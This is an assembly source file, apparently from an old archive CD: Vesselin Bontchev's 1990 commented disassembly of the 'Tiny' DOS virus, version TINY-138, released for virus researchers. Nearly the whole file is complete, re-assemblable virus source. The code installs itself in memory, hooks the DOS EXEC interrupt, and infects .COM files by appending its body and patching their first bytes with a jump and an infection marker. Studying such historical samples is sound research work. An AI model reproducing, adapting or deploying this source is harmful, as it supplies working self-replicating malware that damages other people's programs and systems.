HPAVC/HPAVC CD-ROM.iso/ASM-T.ZIP/TINY-138.ASM

Assembly Source File | 1990-09-15 | 4KB | 168 lines

    page    ,132
    name    TINY138
    title    The 'Tiny' virus, version TINY-138
    .radix    16

; ╔══════════════════════════════════════════════════════════════════════════╗
; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
; ║  Telephone: Private: [phone], Office: [phone] ext. 255         ║
; ║                                         ║
; ║             The 'Tiny' Virus, version TINY-138                  ║
; ║         Disassembled by Vesselin Bontchev, September 1990         ║
; ║                                         ║
; ║             Copyright (c) Vesselin Bontchev 1989, 1990          ║
; ║                                         ║
; ║     This listing is only to be made available to virus researchers      ║
; ║           or software writers on a need-to-know basis.          ║
; ╚══════════════════════════════════════════════════════════════════════════╝

; The disassembly has been tested by re-assembly using MASM 5.0.

code    segment
    assume    cs:code, ds:code

    org    100

seg_60    equ    600
v_len    equ    v_end-first4

start:
    jmp    v_entry     ; Jump to virus code
    db    'M'             ; Virus signature
    mov    ax,4C00     ; Program terminate
    int    21

; The original first 4 bytes of the infected file:

first4    db    0EBh, 2, 90, 90

v_entry:
    mov    si,0FF        ; Initialize some registers
    mov    di,offset start ; Put the addres of program start in DI
    mov    bx,int_21-first4+seg_60 ; Point BX at new INT 13h handler

; The virus will be installed in memory at
; address 0050:0100h (i.e., at segment 60h):

    mov    cx,50

    add    si,[si+2]    ; Determine the start addres of the virus body

    push    di        ; Now a Near RET instruction will run the prg.

    movsw            ; Restore the original first 4 bytes
    movsw

    mov    es,cx        ; Point ES:DI at 0050:0100h
    cmpsb            ; Check if the virus is present in memory
    jz    run        ; Just run the program if so

; Virus not in memory. Install it there:

    dec    si        ; Correct SI & DI to point at the start of
    dec    di        ;  virus code and to destination address
    rep    movsw        ; Move the virus there

    mov    es,cx        ; ES := 0

; Move the INT 21h handler to INT 32h and
; install int_21 as new INT 21h handler.
; By the way, now DI == 1A4h (i.e., 69h*4):

    xchg    ax,bx        ; Thransfer INT 21h vector to INT 69h,
    xchg    ax,cx        ;  preserving AX
lp:
    xchg    ax,cx        ; Get a word
    xchg    ax,es:[di-(69-21)*4]    ; Swap the two words
    stosw            ; Save the word
    jcxz    lp        ; Loop until done (two times)

    xchg    ax,bx        ; Restore AX (to keep progs as DISKCOPY happy)

run:
    push    ds        ; Restore ES
    pop    es
    ret            ; And exit (go to CS:100h)

int_21:             ; New INT 21h handler
    cmp    ax,4B00     ; EXEC function call?
    jne    end_21        ; Exit if not

    push    ax        ; Save registers used
    push    bx
    push    dx
    push    ds
    push    es

    mov    ax,3D02     ; Open the file for both reading and writting
    call    do_int21
    jc    end_exec    ; Exit on error

    cbw            ; Zero AH
    cwd            ; Zero DX
    mov    bx,si        ; Save handle in BX
    mov    ds,ax        ; Set DS and ES to 60h,
    mov    es,ax        ;  the virus data segment

    mov    ah,3F        ; Read the first 4 bytes
    int    69

; Check whether the file is already infected or is an .EXE file.
; The former contains the character `M' in its 3rd byte and
; the latter contains it either in the 0th or in the 1st byte.

    mov    al,'M'          ; Look for `M'
    repne    scasb
    jz    close        ; Exit if file not suitable for infection

    mov    al,2        ; Seek to the end of file
    call    lseek        ; SI now contains the file size

    mov    cl,v_len    ; Length of virus body
    int    69        ; Append the virus to the file (AH is now 40h)

    mov    al,0E9        ; Near JMP opcode
    stosb            ; Form the first instruction of the file
    inc    si        ; Add 1 to file size for the JMP
    xchg    ax,si        ; Move it in AX
    stosw            ; Form the JMP's opperand
    mov    al,'M'          ; Add a `M' character to mark the file
    stosb            ;  as infected

    xchg    ax,dx        ; Zero AX
    call    lseek        ; Seek to the beginning
    int    69        ; AH is 40h, write the JMP instruction

close:
    mov    ah,3E        ; Close the file
    int    69

end_exec:
    pop    es        ; Restore used registers
    pop    ds
    pop    dx
    pop    bx
    pop    ax

; Exit through the original INT 21h handler:

end_21:
    jmp    dword ptr cs:[69*4]

lseek:
    mov    ah,42        ; Seek operation
    cwd            ; Zero DX
do_int21:
    xor    cx,cx        ; External entry for Open
    int    69
    mov    cl,4        ; 4 bytes will be read/written
    xchg    ax,si        ; Store AX in SI
    mov    ax,4060     ; Prepare AH for Write
    xor    di,di        ; Zero DI
    ret            ; Done

v_end    equ    $        ; End of virus body

code    ends
    end    start